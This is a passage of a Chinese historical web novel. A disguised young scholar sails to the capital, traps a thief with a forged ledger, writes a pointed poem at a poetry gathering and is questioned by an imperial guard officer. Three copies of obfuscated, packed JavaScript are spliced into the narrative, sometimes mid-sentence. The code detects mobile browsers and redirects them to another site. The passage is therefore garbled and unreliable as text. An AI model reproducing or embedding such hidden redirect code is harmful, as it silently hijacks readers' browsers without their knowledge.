慕容芷眼眶一红,跪了下去:“公子大恩,慕容芷此生必报。” “起来。”谢青梧扶她,“但我有个条件。” “您说。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16946679|193012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “从此以后,你是慕容止,是我的护卫。过往的事,到此为止,不要再提,也不要再寻仇。”谢青梧盯着她,“你能做到吗?” 慕容芷咬唇,良久,重重点头:“能。” “那就好。”谢青梧松开手,“去睡吧。明天开始,我们要准备进京的事了。” 慕容芷退出去后,谢青梧独自坐了许久。 桌上摆着顾临渊送的印章,陈学政的信,还有林疏影托人捎来的银票,二百两,说是铺子的分红。 她一样样看过去,心里清楚,这些人和物,正在织成一张网。 一张托举她向上,也束缚她自由的网。 但她没有选择。要想走远,就得借力;要想做事,就得有依靠。 只是这依靠,将来会不会变成枷锁? 她吹熄灯,躺下。黑暗中,忽然想起顾临渊那句话:“你这把火,烧得太早了。” 不早。她在心里说。 已经有很多人等了一辈子,等到死,也没等到火光亮起。 她不能再等。 三日后,县学的推举名单正式公布。果然没有谢青梧。 李庸特意来找她,一脸歉意:“怀瑾,这事……我尽力了。但上头压着,我也没办法。” “学生明白。”谢青梧道,“多谢山长。” 李庸看着她平静的脸,叹了口气:“你打算怎么办?” “学生打算自己进京。”谢青梧道,“已经托人办了手续,找好了保人。” 李庸愣了愣:“保人是谁?” “陈学政。” 李庸倒吸一口凉气,随后又释然了:“也是,以你的才学,陈大人赏识也是应该的。”他拍拍谢青梧的肩,“好好考,给咱们江州争光。” 送走李庸,谢青梧开始收拾行装。书要带,笔墨要带,那方青玉印章也要带。慕容芷在一旁帮忙,手脚麻利。 “公子,谢家那边……要不要去辞行?”她问。 谢青梧手顿了顿:“不用。” 自那日立契后,谢家再没人来找过她。仿佛她这个庶子,真成了泼出去的水。 也好。干净。 出发前夜,周子砚来了,背着一大包东西。 “这是我娘做的糕饼,路上吃。”他把包袱塞给慕容芷,又掏出一本书,“这是我爹珍藏的历年会试佳作,你带着,路上看。” 谢青梧接过书,心里发热:“替我谢谢伯父伯母。” 周子砚眼眶有点红:“怀瑾,此去京城,千里之遥。你……保重。” “你也是。”谢青梧看着他,“明年秋闱,我等你来京城。” 周子砚重重点头:“我一定考中!” 两人又说了一会儿话,周子砚才依依不舍地离开。慕容芷去栓院门,回来时,见谢青梧站在槐树下,仰头看天。 “公子,夜深了,该睡了。” “阿芷。”谢青梧没回头,“你说,京城是什么样子?” 慕容芷沉默片刻:“很大,很繁华,也很……冷。” “你去过?” “小时候跟父亲去过一次。”慕容芷声音很低,“街上很多人,楼很高,但每个人都行色匆匆,没人多看谁一眼。” 谢青梧笑了:“那倒好。没人注意,才方便做事。” 她转身回屋:“睡吧。明天一早出发。” 翌日清晨,天还没亮透。 谢青梧最后看了一眼这个小院,她住了不到一个月,却觉得比在谢家十几年都自在。 锁上门,钥匙交给房东。主仆二人背着行囊,走向渡口。 晨雾蒙蒙,江面上泊着几艘客船。船夫在吆喝着招揽客人,挑夫扛着货物上上下下。 谢青梧找到预定的船,正要上去,身后忽然传来马蹄声。 回头一看,竟是顾临渊。 他骑在马上,一身玄色劲装,像是要出远门的样子。 “这么巧?”谢青梧挑眉。 “不巧。”顾临渊翻身下马,“我要回京,正好同路。” 谢青梧看看他,又看看他身后的两匹马:“顾公子不是要骑马回京?” “骑马太累,改坐船了。”顾临渊面不改色,“怎么,谢公子不欢迎?” “岂敢。”谢青梧侧身,“请。” 顾临渊把马交给小厮,跟着上了船。船家是个老把式,见客人齐了,便吆喝一声:“开船喽——” 船桨划开水波,客船缓缓离岸。 谢青梧站在船头,看着江州城在晨雾中渐渐远去。城门,街道,县学,谢家……都模糊成一片灰影。 “舍不得?”顾临渊走到她身边。 “没有。”谢青梧摇头,“只是觉得,这一走,就真的回不去了。” “本来也没打算回去吧。”顾临渊看向她,“你不是那种会回头看的人。” 谢青梧没说话。 江风猎猎,吹起她的衣摆。远处,朝阳正冲破云层,把江面染成金红。 前路漫漫,水阔天长。 她握紧栏杆,轻声说:“走吧。” 船顺流而下,驶向更远的地方。 14. 水路 船在江上走了三日。 头两日风平浪静,谢青梧在舱里看书,顾临渊偶尔过来聊几句。慕容芷一直很警惕,夜里几乎不睡,守在舱门外。 第三日傍晚,船停靠在临江驿码头补给。这是个热闹的水陆码头,船来船往,挑夫、商贩、旅人挤在窄窄的栈桥上。 顾临渊说要下船买些东西,带着小厮去了。谢青梧站在船头透气,看着码头上的人来人往。 “公子。”慕容芷走过来,声音压低,“有人盯梢。” 谢青梧不动声色:“几个?” “两个。一个在茶棚,一个在货摊,半柱香换一次位置。”慕容芷目视前方,像在欣赏江景,“看步伐,练家子。” “冲你来的?” “不像。”慕容芷摇头,“他们看的……是咱们的船。” 谢青梧心思转得飞快。这船是顾临渊安排的,船上除了他们主仆和顾家小厮,还有五六个散客。盯梢的人,是冲顾临渊,还是冲她? 正想着,顾临渊回来了,手里提着个油纸包。 “临江驿的桂花酥,尝尝。”他递过来,目光扫过码头时,微微一顿,“有人盯梢?” 谢青梧接过油纸包:“两个。阿芷发现的。” 顾临渊脸上笑容淡了:“看来有人不想我顺利回京。” “冲你来的?” “八九不离十。”顾临渊语气平静,“家父最近在查江南盐税,动了某些人的蛋糕。我这次南下,他们估计以为我是来拿证据的。” 谢青梧心里一沉。这种事,沾上就是麻烦。 顾临渊看她神色,反而笑了:“别担心。他们不敢在码头动手,最多跟到下一站。船明早就走,他们跟不上。” 话虽如此,夜里谢青梧还是睡得不踏实。舱外水声哗哗,偶尔有别的船经过,灯火在水面拖出长长的光带。 四更天时,她忽然醒了。 不是被声音吵醒,是一种本能的不安。她坐起身,侧耳细听,船还在行,水声规律,但似乎……太规律了。 她轻轻下床,拉开舱门一条缝。慕容芷坐在门外,听到动静立刻回头。 “公子?” “你听。”谢青梧低声道。 慕容芷凝神细听片刻,脸色变了:“桨声不对。多了一艘船,在后面跟着。” 谢青梧心念电转:“去叫顾公子。” 话音刚落,隔壁舱门开了。顾临渊披着外衣出来,显然也没睡。 “听到了?”他问。 谢青梧点头。 三人走到船尾,借着月光,果然看见后方三十丈外跟着一艘乌篷船。船不大,没有挂灯,黑黢黢的像个影子。 “跟了多久?”顾临渊问。 “至少半个时辰。”慕容芷道,“他们在减速,我们快他们也快,我们慢他们也慢。” 谢青梧盯着那艘船,忽然道:“不是白天那两个人。” “你怎么知道?” “白天的盯梢是为了确定目标,现在既然跟上了,就不会再派同批人。”谢青梧分析,“而且那艘船吃水很浅,上面最多三四个人。如果是杀人灭口,不会只派这么点人。” 顾临渊眉头一挑:“你是说……” “他们不是来杀人的。”谢青梧看向他,“是来偷东西的。或者……栽赃。” 这话一出,顾临渊脸色变了。他从江南带回来的东西里,确实有几封要紧的信函。若被栽赃些别的…… “我去处理。”慕容芷道。 “等等。”谢青梧拦住她,“他们既然敢跟来,肯定有把握不被发现。你现在过去,反而打草惊蛇。” “那怎么办?” 谢青梧沉思片刻,忽然笑了:“让他们来。” 她转身回舱,不多时拿出一件披风、一个包袱。她把披风递给顾临渊:“穿上这个,去船头站着,让他们看清是你。” 顾临渊懂了:“你想让他们以为我还在舱外?” “对。”谢青梧把包袱塞进他怀里,“这里头是我换下来的衣裳,你抱着,装作很紧张的样子。阿芷,你护送顾公子去船头,然后守在舱门外,做出严防死守的架势。” 慕容芷不解:“那舱里……” “舱里我来布置。”谢青梧眼里闪着光,“他们既然要偷,就让他们偷个‘好东西’。” 她让顾临渊和慕容芷依计行事,自己回舱快速收拾。书箱挪到角落,被褥铺开,装作有人睡觉的样子。然后她从行囊里取出一个木盒,那是装印章和私信的,平时都随身带着。 她从书箱底层翻出一本旧账册,那是林疏影铺子的流水,数字密密麻麻。又把周子砚给的那本会试佳作拆开,取了几张空白页。 研墨,提笔。 她飞快地在空白纸上写了几行字,用的是左手,字迹歪歪扭扭,像匆忙间记下的笔记。写完后折好,和账册一起放进木盒。 最后,她从随身荷包里取出一个小瓷瓶,倒出一点粉末,撒在木盒边缘。 做完这些,她把木盒塞到床铺底下,只露出一角。然后吹熄灯,躲到舱门后的阴影里。 一切就绪。 约莫过了一炷香时间,船尾传来极轻的水声。有人从乌篷船跳过来了。 谢青梧屏住呼吸。 舱门被轻轻推开一条缝,月光泻进来。一个黑影闪身而入,动作很轻,几乎无声。 黑影在舱里快速扫视,目光落在床铺下的木盒上。他蹑手蹑脚走过去,抽出木盒,打开看了一眼,似乎很满意,立刻合上揣进怀里。 正要离开,忽然顿住了。 他回头看向床铺,犹豫了一下,伸手去掀被子——空的。 黑影意识到不对,转身就要跑。 “既然来了,喝杯茶再走?” 谢青梧从阴影里走出来,手里举着油灯。灯火映着她的脸,平静得可怕。 黑影僵在原地。舱门外,慕容芷和顾临渊堵住了去路。 “盒子还回来,说说谁派你来的。”谢青梧声音温和,“或者我让护卫打断你的腿,再慢慢问。” 黑影盯着她,忽然笑了:“小公子,你以为就你们三个人,拦得住我?” 他话音未落,袖中滑出一把匕首,直刺谢青梧面门。 慕容芷动了。 她动作快得像道影子,几步欺近,右手扣住黑影手腕一拧。咔嚓一声脆响,匕首落地。左手一掌拍在黑影胸口,把他打得撞在舱壁上。 整个过程不过眨眼之间。 黑影闷哼一声,捂着胸口,惊骇地看着慕容芷:“你……你是……” “盒子。”慕容芷伸出手。 黑影咬牙,从怀里掏出木盒扔过去。慕容芷接住,检查无误,退到谢青梧身边。 顾临渊这时走进来,看着黑影:“谁派你来的?” 黑影闭口不言。 “不说也行。”谢青梧走过去,捡起掉在地上的账册——刚才打斗时从盒里掉出来了。她翻开一页,指着上面的数字,“这是江南三家盐商的走货记录,时间、数量、经手人,清清楚楚。” 黑影瞳孔一缩。 “你猜,你背后的主子要是知道,这么重要的东西被你弄丢了,会怎么对你?”谢青梧合上账册,“当然,你也可以说我们诬陷你。但你觉得,他们是信你这个贼,还是信顾首辅的公子?” 黑影额角冒出冷汗。 顾临渊适时开口:“你说了,我保你不死。不说,我现在就把你扔江里喂鱼。” 沉默良久,黑影嘶声道:“是……是扬州转运使王大人的人。” “王崇年?”顾临渊眼神冷了,“他让你偷什么?” “信。顾公子从江南带回来的信。”黑影道,“王大人说,只要拿到信,顾首辅查盐税的事就能缓一缓。” “信呢?” “在顾公子的书箱里,我们已经……”黑影话没说完,忽然脸色发青,捂着喉咙倒下。 慕容芷上前查看,摇头:“毒发了,齿间□□。” 人已经没气了。 顾临渊脸色难看:“王崇年这条老狗,手伸得真长。” 谢青梧蹲下身,在黑影身上搜了搜,找出个腰牌,上面刻着“漕运司”三个字。她递给顾临渊:“人死了,但证据还在。” 顾临渊接过腰牌,握紧:“多谢。” “不必。”谢青梧起身,“现在的问题是,这尸体怎么处理?” 慕容芷道:“扔江里。” “不妥。”谢青梧摇头,“万一漂到岸边,被人发现,反而麻烦。” 她想了想:“船上有麻袋吗?装些石头,沉江。腰牌留着,将来有用。” 慕容芷点头,拖着尸体出去了。 舱里只剩下两人。顾临渊看着谢青梧,眼神复杂:“你刚才说的盐商账册……” “假的。”谢青梧从木盒里拿出那几张纸,“我现写的。左手写的,模仿商贾记账的笔迹。” 她翻到其中一页:“你看这里,‘三月初七,盐三百引,经手刘五’。刘五是江州府有名的地痞,专收赃货。王崇年要是真去查,就会发现刘五确实常在码头活动,但跟盐商没关系,只是凑巧。” 顾临渊接过纸细看,越看越心惊。这伪造的账册,时间、人名、数量都对得上,而且留了破绽——破绽很小,但要真去查,就会发现是假的。 “你……你怎么知道这些?”他问。 “林疏影跟我提过。”谢青梧道,“她做布匹生意,常跟码头的人打交道。刘五这种人,黑白两道都熟,拿来当幌子最合适。” 顾临渊沉默良久,才道:“你胆子太大了。万一他当场打开看穿怎么办?” “他不会。”谢青梧笃定,“做贼心虚,他拿到盒子只想赶快走,不会细看。而且我撒了药 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16946680|193012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 粉,他手上沾了,会发痒,更没心思检查。” 顾临渊这才注意到,自己的手背不知何时也红了一小片,微微发痒。 “这药……” “治外伤的。”谢青梧有点不好意思,“副作用是会让人皮肤发痒,但不伤身,过两个时辰就好了。” 顾临渊哭笑不得。 这时慕容芷回来了,说处理干净了。谢青梧让她去打水洗手,又给了她解痒的药膏。 天快亮时,乌篷船消失了。大概是发现同伙没回去,知道事情败露,撤了。 船继续前行。 早饭后,顾临渊来找谢青梧,手里拿着个小册子。 “这个给你。”他递过来,“王崇年这些年贪赃枉法的证据,我抄了一份。” 谢青梧没接:“这是顾首辅要用的,给我做什么?” “你不是要进京吗?”顾临渊道,“京城那潭水,比江南还浑。这些资料,你留着,说不定哪天用得上。” 谢青梧看着他:“临渊兄,我是去考科举的,不是去掀人老底的。” “我知道。”顾临渊笑了,“但科举考完了呢?你总要入朝,总要站队。多知道些事,没坏处。” 这话在理。谢青梧接过册子,翻开看了几眼,里面记得很详细:某年某月,王崇年收了多少银子,办了什么事,经手人是谁。 “这些……都是真的?” “我父亲查了半年,错不了。”顾临渊眼神冷下来,“朝廷每年拨给漕运的银子,三成进了他口袋。江南盐税亏空,他占大头。” 谢青梧合上册子:“那你打算怎么办?” “回京,交证据,看我父亲怎么处置。”顾临渊顿了顿,“但王崇年背后还有人,动他,就是动他身后那一串。” “你不怕?” “怕。”顾临渊很坦然,“但怕也得做。有些事,总得有人做。” 船又行了几日,进入京畿地界。江面越来越宽,两岸的景色也繁华起来。码头一个接一个,商船、客船、官船往来如织。 这日午后,船停靠在通州码头,这是进京前最后一站。船家说,要在这里补给,明日一早换小船进京城水道。 码头上人声鼎沸。谢青梧下船透气,慕容芷寸步不离地跟着。顾临渊说要去找朋友,带着小厮走了。 通州不愧是京畿门户,街市比江州府还要热闹。绸缎庄、酒楼、茶肆鳞次栉比,行人衣着光鲜,连拉车的马都膘肥体壮。 谢青梧在街上慢慢走,目光扫过两旁的店铺。一家书局吸引了她的注意,店面不大,但招牌上写着“翰林旧书”四个字。 她走进去,书架上整整齐齐码着各类书籍,经史子集都有。店主是个清瘦的中年人,正在整理书目。 “公子想找什么书?”店主抬头问。 “随便看看。”谢青梧走到书架前,随手抽出一本,是前朝诗集。翻开扉页,上面有藏书印,刻着“沈氏墨香阁”。 她心头一跳:“店家,这书……是沈墨沈山长的旧藏?” 店主讶然:“公子认得沈山长?” “久仰大名。”谢青梧合上书,“沈山长的书,怎么会流到通州来?” 店主叹道:“沈山长前年病逝,家人扶灵回乡,带不走的藏书便散了出来。我这里收了几本,都是珍品。” 谢青梧低头看着那枚印章。沈墨,当朝大儒,曾官至礼部尚书,致仕后主持白鹿书院,门生遍天下。她读过的很多文章,都引过沈墨的注疏。 “这本书多少银子?” “十两。” 不便宜。但谢青梧还是买了。她抱着书走出书局,心里有种奇妙的连接感,仿佛通过这本书,触摸到了京城文脉的一角。 回到码头时,夕阳西下。顾临渊已经回来了,站在船边等她。 “买了什么?”他问。 谢青梧把书递过去。顾临渊看到扉页的印章,眼神柔和下来:“沈山长的书……你眼光不错。” “临渊兄认得沈山长?” “家父曾是沈山长的学生。”顾临渊道,“我小时候,沈山长常来府里,教我读过书。他老人家的学问,是这个。” 他竖起大拇指。 谢青梧捧着书,忽然觉得沉甸甸的。这不是一本书,是一段传承,一种期许。 夜里,她坐在灯下翻看这本诗集。沈墨的批注很细,某句诗好在哪里,某个典故出自何处,都写得清清楚楚。字迹清峻,有风骨。 翻到某一页时,她停住了。 那页的批注格外长,写的是前朝女诗人薛涛的一首诗。沈墨在末尾写道:“世人皆道薛涛才高命薄,然以女子之身,得诗名传世,已是不易。若逢明时,当不止于此。” 若逢明时,当不止于此。 谢青梧盯着这行字,看了很久。 窗外,京城的方向有隐约的灯火,明天就要到了。 15. 进京 进京那日,下了今冬第一场雪。 雪不大,细碎的雪花飘在护城河上,还没落下就化了。谢青梧站在船头,看着那座巍峨的城池一点点靠近,城墙比江州府高出一倍,城门洞深得像口井,来往的人流车马密密麻麻。 慕容芷在她身后低声道:“公子,到了。” 船靠岸,码头比通州还要热闹十倍。扛包的挑夫喊着号子,马车轱辘轧过石板路,商贩的吆喝声混在一起,嘈杂得让人耳鸣。 顾临渊先下船,回头伸手:“小心,码头滑。” 谢青梧搭着他的手跳上岸,站稳后立刻松开。顾临渊神色如常,吩咐小厮去雇车。 “先去我那儿住几天。”顾临渊道,“等找好院子再搬。” 谢青梧本想拒绝,但看看这人山人海的码头,又看看自己那两个包袱,点了点头:“叨扰了。” 顾家的马车很宽敞,里面铺着厚毯,角落还放着暖炉。慕容芷和顾家小厮坐在车辕上,马车缓缓驶入城门。 京城的主街叫朱雀大街,宽得能并行六辆马车。两旁店铺林立,酒楼茶肆的招牌一个比一个气派。行人衣着光鲜,连街上跑的狗都毛色油亮。 但谢青梧注意到,街角巷尾,仍有衣衫褴褛的乞丐蜷缩着。一个妇人抱着孩子跪在雪地里,面前摆个破碗,没人多看她们一眼。 “京城就是这样。”顾临渊顺着她的目光看去,“富的富死,穷的穷死。” 马车拐进一条清净些的巷子,停在座宅子前。门楣上悬着“顾府”的匾额,字是御笔亲题,金漆在雪光里微微发亮。 管家迎出来,看见谢青梧时愣了愣,随即恢复笑脸:“少爷回来了。这位是……” “谢怀瑾谢公子,我的客人。”顾临渊道,“收拾个清净院子出来,再派两个妥当人伺候。” 管家应声去了。顾临渊引着谢青梧往里走,穿过垂花门,绕过影壁,眼前豁然开朗,三进的院子,游廊曲折,假山池塘点缀其间。虽是冬日,仍有几株老梅开着,暗香浮动。 “你父亲……”谢青梧迟疑。 “他不在京。”顾临渊道,“去江南查案了,年前才回。这宅子平时就我和几个下人住,你不用拘束。” 说话间,管家已经安排好了院子,是西边一个独立小院,名叫“听竹轩”。三间房,带个小书房,窗外真有一片竹林,雪压竹叶,沙沙作响。 慕容芷把行李搬进去,手脚麻利地收拾起来。顾临渊站在院门口,看着屋里忙碌的身影,忽然道:“你这护卫,不简单。” 谢青梧神色不变:“林姑娘荐的,说是可靠。” “可靠是可靠。”顾临渊顿了顿,“但她手上茧子的位置……是常年握刀的手。寻常护院可练不出那种茧子。” 谢青梧抬眼看他。 顾临渊笑了:“放心,我不多问。你带来的人,自然有你的道理。” 他转身要走,又停住:“对了,明晚有个诗会,在城南望月楼。京里几个有名的才子都会去,你要不要来?” 诗会。谢青梧心里一动。这是结交同窗、扬名立万的好机会。 “我去。” “那好,明晚我来接你。”顾临渊摆摆手,“好好歇着。” 他一走,院子顿时安静下来。雪还在下,竹叶上的积雪越来越厚。慕容芷收拾完屋子,端了热茶过来。 “公子,顾公子他……”她欲言又止。 “他看出来了,但不会说。”谢青梧接过茶,“顾临渊这个人,看着纨绔,其实心里有数。他既然不问,咱们就当不知道。” 慕容芷点头:“那我这几天少出门。” “不用。”谢青梧道,“该怎样还怎样。越躲躲藏藏,越惹人疑心。” 她在窗边坐下,翻开那本沈墨批注的诗集。书页泛黄,墨香犹在,但写字的人已经不在了。 京城,她终于来了。 第二日晚,顾临渊果然来接她。他换了身月白锦袍,外罩银狐披风,衬得眉眼越发俊朗。谢青梧还是平常那身青衫,只加了件厚斗篷。 望月楼在城南,是京城有名的酒楼。三层飞檐,每层檐角都挂着一串风铃,风吹过时叮当作响。 诗会在三楼雅间。谢青梧跟着顾临渊上楼时,里头已经坐了好些人。都是年轻学子,最大的不过二十出头,个个衣着光鲜,谈笑风生。 “顾兄来了!”一个穿紫衣的公子起身招呼,目光落到谢青梧身上,“这位是……” “谢怀瑾,江州府的小三元。”顾临渊介绍,“怀瑾,这位是礼部侍郎家的公子,赵文启。” 谢青梧拱手行礼。赵文启上下打量她,笑道:“原来是谢公子,久仰。你那篇‘星火燎原’,我在京里都听说了。” 这话说得微妙。谢青梧只当没听出弦外之音:“谬赞了。” 陆续又介绍了几人,都是官宦子弟。谢青梧一一见礼,态度不卑不亢。有人对她好奇,有人不屑,也有人只是淡淡点头。 诗会开始,规矩是击鼓传花。花停在谁手里,谁就要以“雪”为题作诗。 第一轮花停在一个瘦高个手里。他叫李文远,父亲是御史。他起身踱了两步,吟道:“玉尘飞落九重天,覆尽人间万户檐。莫道寒冬无暖意,梅梢已报春来先。” 众人纷纷叫好。赵文启笑道:“李兄这诗,尾句出彩。寒冬将尽,春意已萌,好寓意。” 第二轮花传到顾临渊手里。他想了想,吟道:“夜雪叩窗棂,炉红茶烟青。忽忆江南岸,蓑衣钓寒汀。” 这诗淡,但意境好。谢青梧听出他诗里那点思乡之情,顾家祖籍江南,他来京城不过三年。 “顾兄诗风越发清雅了。”有人赞道。 第三轮,花停在了谢青梧面前。 满座目光都聚过来。江州府的小三元,到底有多少斤两,今晚就能见分晓。 谢青梧起身,走到窗边。窗外雪还在下,远处街市的灯火在雪幕里晕成一片光晕。她看着那些光,忽然想起码头那个乞讨的妇人。 “琉璃世界白玉京,”她开口,声音清朗,“朱门酒肉冻骨轻。” 头两句一出,雅间里静了一瞬。琉璃世界、白玉京,本是赞美雪景,但接上“朱门酒肉冻骨轻”,味道就变了。 谢青梧继续吟道:“谁家高阁暖红袖,何处深巷饥儿啼?” 后两句更直白。暖阁里的红袖添香,深巷中饥儿的啼哭,对比鲜明。 “愿化长风卷地起,”她顿了顿,声音陡然转高,“扫尽不平还太平!” 诗成,满室寂然。 这诗……太锐了。锐得不像是来交友,倒像是来砸场子的。 赵文启脸色不太好看:“谢公子这诗,气魄是足,只是……未免过于激愤了些。” “激愤吗?”谢青梧转身,脸上带着淡笑,“赵公子觉得,这京城里,有没有朱门酒肉,有没有深巷饥儿?” 赵文启语塞。 顾临渊这时开口:“怀瑾这诗,写的是实情。咱们坐在这暖阁里吟诗作对,外头确实有人冻着饿着。能看见,敢写出来,是胸怀。” 他这么一说,其他人也不好再驳。气氛有些尴尬。 就在这时,雅间的门被敲响了。一个小厮进来,对顾临渊低语几句。顾临渊脸色微变,起身道:“各位,家中有急事,我先走一步。怀瑾,你……” “顾兄自便。”谢青梧道,“我坐会儿也回去。” 顾临渊匆匆走了。诗会继续,但谢青梧那首诗像根刺,扎在每个人心里。接下来几轮作诗,都规规矩矩的,没人再敢写现实。 谢青梧乐得清静,自顾自喝茶。忽然觉得有道目光落在身上,抬头看去,是斜对面一个一直没说话的蓝衣公子。 那公子见她看来,举杯示意,眼神里有种探究的意味。 诗会散时,已近子时。雪停了,月亮从云层后露出来,照得街面一片银白。 谢青梧和慕容芷沿着长街往回走。夜里风寒,街上行人稀少,只有更夫敲梆子的声音远远传来。 走到一处巷口时,慕容芷忽然拉住她:“公子,有人跟着。” 谢青梧不动声色:“几个?” “一个。从望月楼出来就跟上了。”慕容芷低声道,“脚步很轻,功夫不错。” “能甩掉吗?” “能。”慕容芷看了看四周,“前面有片民居,巷子多,我带您绕路。” 两人加快脚步,拐进一条窄巷。巷子很深,两旁是高高的院墙。慕容芷拉着谢青梧连拐几个弯,最后躲在一处门洞的阴影里。 不多时,一个黑影追进巷子,在岔路口停住,似乎在判断方向。月光照在他脸上,是诗会上那个蓝衣公子。 谢青梧皱眉。她示意慕容芷等着,自己走了出去。 “这位兄台,”她站在月光下,“跟了一路,有事?” 蓝衣公子见行踪暴露,也不慌张,拱手道:“谢公子莫怪。在下陆执,锦衣卫北镇抚司小旗。” 锦衣卫。谢青梧心头一跳,面上却平静:“陆大人有何贵干?” “奉命查案。”陆执走近几步,目光在她脸上打量,“近日京城有几起案子,涉及江南来的学子。谢公子刚从江州来,按例要问问话。” “问话需要夜里跟踪?” 陆执笑了:“白天怕打扰公子雅兴。”他从怀里掏出个木牌,确实是锦衣卫的腰牌,“只是例行公事,问几句就走。” 谢青梧看着那腰牌,忽然想起慕容芷说过,她父亲曾是北镇抚司百户。她侧身让开路:“那请陆大人问吧。” 陆执却摇头:“这里不是说话的地方。谢公子住哪儿?我送公子回去,路上问。” 这话说得客气,但没给拒绝的余地。谢青梧看了眼慕容芷藏身的方向,点头:“有劳。” 三人走出巷子,沿着长街往顾府走。雪又下了起来,细细碎碎的。 “谢公子是江州府人?”陆执问。 “是。” “家里还有什么人?” “父母俱在,还有位兄长。”谢青梧答得简洁,“陆大人想问什么,不妨直说。” 陆执侧头看她:“谢公子爽快。那我直说了,王崇年,你认识吗?” 扬州转运使王崇年。谢青梧心里明白,这是冲顾临渊来的。锦衣卫查到了水路的事。 “听说过。”她道,“扬州转运使,朝廷命官。” “只是听说过?”陆执盯着她,“有人看见,王崇年的人曾在通州码头跟踪谢公子的船。” 谢青梧脚步不停:“陆大人说笑了。我一介书生,王大人跟踪我做什么?” “因为你和顾临渊同行。”陆执道,“顾临渊从江南带回了一些东西,王崇年想要。谢公子,那晚船上发生了什么,你最好说实话。” 他们已经走到顾府所在的巷子。谢青梧停下脚步,转身面对陆执:“陆大人,那晚确实有人夜袭,但被顾公子的护卫打退了。我一个书生,躲在舱里,什么也没看见。” “什么也没看见?”陆执眼神锐利,“可我听说,谢公子那晚很镇定,还帮着出了主意。” 消息真灵通。谢青梧心里冷笑,面上却露出恰到好处的惊讶:“陆大人听谁说的?那晚乱得很,我吓得腿都软了,能出什么主意?” 两人对视,雪落在肩头,很快积了薄薄一层。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16946681|193012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陆执忽然笑了:“谢公子说得对,可能是我听错了。”他退后一步,“今晚打扰了。不过……” 他顿了顿:“京城不比江州,水深。谢公子往后行事,还是小心些好。” 说完,转身走了,很快消失在雪幕里。 慕容芷从暗处走出来,脸色发白:“公子,他……” “他起疑了。”谢青梧看着陆执消失的方向,“但没证据。” 回到听竹轩,谢青梧坐在灯下,许久没动。慕容芷端来热茶,她接过,手有些凉。 “阿芷,”她忽然问,“陆执这个人,你听说过吗?” 慕容芷握紧拳头:“听说过。北镇抚司最年轻的千户,他现在应该是千户了。三年前我父亲出事时,他还只是个小旗,但查案很厉害。” “为人如何?” “说不好。”慕容芷摇头,“锦衣卫里,没几个干净的。但他……据说很讲证据,不滥杀。” 谢青梧点点头。今晚陆执虽然逼问,但始终留有余地。他要是真怀疑什么,直接抓人审问就是,不会这么客气。 但这也说明,他盯上她了。 正想着,外头传来脚步声。顾临渊推门进来,一身寒气。 “你没事吧?”他急声道,“我刚回府就听说,陆执找过你?” 谢青梧示意他坐:“问了王崇年的事。” 顾临渊脸色难看:“这条疯狗,动作真快。”他握拳捶桌,“怪我,不该让你卷进来。” “现在说这些没用。”谢青梧道,“陆执只是怀疑,没证据。倒是你,家里出什么事了?” 顾临渊沉默片刻:“我父亲……在江南遇刺。” 谢青梧一惊:“伤得重吗?” “轻伤,但很凶险。”顾临渊声音发沉,“是王崇年的人干的。他知道我父亲在查他,狗急跳墙了。” “那你……” “我得去江南。”顾临渊看着她,“但我担心你。陆执既然盯上你,就不会轻易放手。我走后,你在京城……” “我能应付。”谢青梧打断他,“你父亲要紧。” 顾临渊看着她平静的脸,忽然不知道该说什么。这个少年,总是这样,好像天塌下来都能顶着。 “我已经托了朋友照应你。”他最终道,“赵文启虽然有些纨绔,但人不坏。你有事可以找他。还有……” 他从怀里掏出个玉佩:“这个你拿着。若真遇到麻烦,去城东永兴当铺,找掌柜看这个,他会帮你。” 谢青梧没接:“太贵重了。” “拿着。”顾临渊塞进她手里,“我当你是我朋友。” 朋友。谢青梧握紧玉佩,温润沁凉。 顾临渊连夜就走了。谢青梧站在院门口,看着马车消失在雪夜里,心里空落落的。 京城的第一夜,就这样过去了。 第二天,雪晴了。谢青梧让慕容芷出去找房子,要求在国子监附近,清净些的院子。她自己留在府里,翻看京城的地图和风物志。 午后,管家送来张帖子,是赵文启请她去喝茶,说是诗会未尽兴,要再聚聚。 谢青梧本想推辞,但想到顾临渊的托付,还是去了。 茶楼在国子监对面,叫“清风居”。谢青梧到的时候,赵文启已经在了,同桌的还有昨晚诗会上的几个人。 “谢公子来了!”赵文启热情招呼,“快坐快坐。昨晚你那首诗,我回去越想越觉得妙。今日特意请你来,再讨教讨教。” 这话说得漂亮。谢青梧入座,温声道:“赵公子客气了。” 茶过三巡,话匣子打开了。几个年轻学子聊起京中趣闻,谁家公子闹了笑话,哪个官员又纳了小妾。 